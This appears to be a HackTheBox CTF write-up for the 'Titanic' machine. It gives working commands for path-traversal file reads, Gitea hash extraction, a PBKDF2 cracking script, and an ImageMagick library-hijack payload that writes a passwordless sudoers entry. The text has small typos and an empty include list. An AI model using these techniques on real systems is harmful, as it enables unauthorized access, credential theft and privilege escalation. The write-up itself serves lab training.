> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md). # Titanic HackTheBox Writeup Titanic HackTheBox Easy Linux machine writeup covering Local File Inclusion (LFI), Gitea Database Extraction, ImageMagick Exploit (Privilege Escalation), with practical enumeration, exploitation, foot {% embed url="" %} {% hint style="warning" %} **Skills:** * **Local File Inclusion (LFI)** * **Gitea Database Extraction** * **ImageMagick Exploit (Privilege Escalation)** {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts ```
**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.80) ```bash nmap -sCV -p22,80 10.10.11.55 -oN targeted ```
We then add the IP to our `/etc/hosts` file:
### Scanning port 80 (HTTP) ####
### Scanning port 80 (HTTP) #### Technology detection With `wappalyzer`, we identify that the site uses **Flask and Python**
## Local File Inclusion (LFI)
The site offers an option to order a trip, which returns a JSON file.
By intercepting the request with **Burp Suite**, we notice a `download` parameter which allows access to the files:
```bash /download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json ``` We test a file inclusion: ``` /download?ticket=/etc/passwd ```
With `curl`: ``` curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd ``` We retrieve the system users, including **developer**.
### Subdomain Fuzzing We search for subdomains with **Gobuster**: ```bash gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r ```
We discover **dev.titanic.htb**, which we add to `/etc/hosts`.
## Gitea Exploitation On the **dev** subdomain, we find a **Gitea** instance.
#### Creating a user
We find a password stored in plain text (database):
While exploring the Gitea SQLite database, we find its path:
`/home/developer/gitea/data/gitea/gitea.db`
On s'y connecte : ```sql sqlite3 gitea.db .tables ```
Then extract the password hashes: ```sql SELECT lower_name, passwd, salt FROM user; ```
### Salted Hash Brute Force #### Hash: ``` e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34 ``` #### Salt: ``` b8dc26d526439f6f2f4523fa8ea522a2 ``` We use a Python script to break the hash: ```python import hashlib import binascii def pbkdf2_hash(password, salt, iterations=50000, dklen=50): hash_value = hashlib.pbkdf2_hmac( 'sha256', password.encode('utf-8'), salt, iterations, dklen ) return hash_value def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50): target_hash_bytes = binascii.unhexlify(target_hash) with open(dictionary_file, 'r', encoding='utf-8') as file: count = 0 for line in file: password = line.strip() hash_value = pbkdf2_hash(password, salt, iterations, dklen) count += 1 print(f"Count: {count}: {password}") if hash_value == target_hash_bytes: print(f"/nFound password: {password}") return password print("Password not found.") return None salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34') target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' dictionary_file = '/usr/share/wordlists/rockyou.txt' find_matching_password(dictionary_file, target_hash, salt) ``` #### - The password found is **25282528**.
On se connecte en SSH : ```bash ssh developer@ticanic.htb ```
### Flag user.txt :)
## Privilege Escalation ### Cron Job - Exploitation d'ImageMagick In `/opt/`, we find a script `script.sh` executed automatically
```bash cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log ``` > This shell script first moves to the `/opt/app/static/assets/images` folder, then it dumps the `metadata.log` file if it exists. Then it searches for all `.jpg` files in that directory and uses ImageMagick's `identify` command to extract their metadata (size, format, color depth, etc.). This information is then saved in `metadata.log`. Thus, this script allows you to generate an updated metadata file for all JPG images present in the specified folder. The script uses **ImageMagick**, a vulnerable version. ```bash magicks --version ```
### Exploitation via `LD_PRELOAD` We create a `a.c` file: ```c #include #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers"); } ``` Compilation : ```bash gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles ```
We add it to the directory monitored and executable by `ImageMagick`. Then, we execute: ```bash su root ```
### Flag root.txt :)
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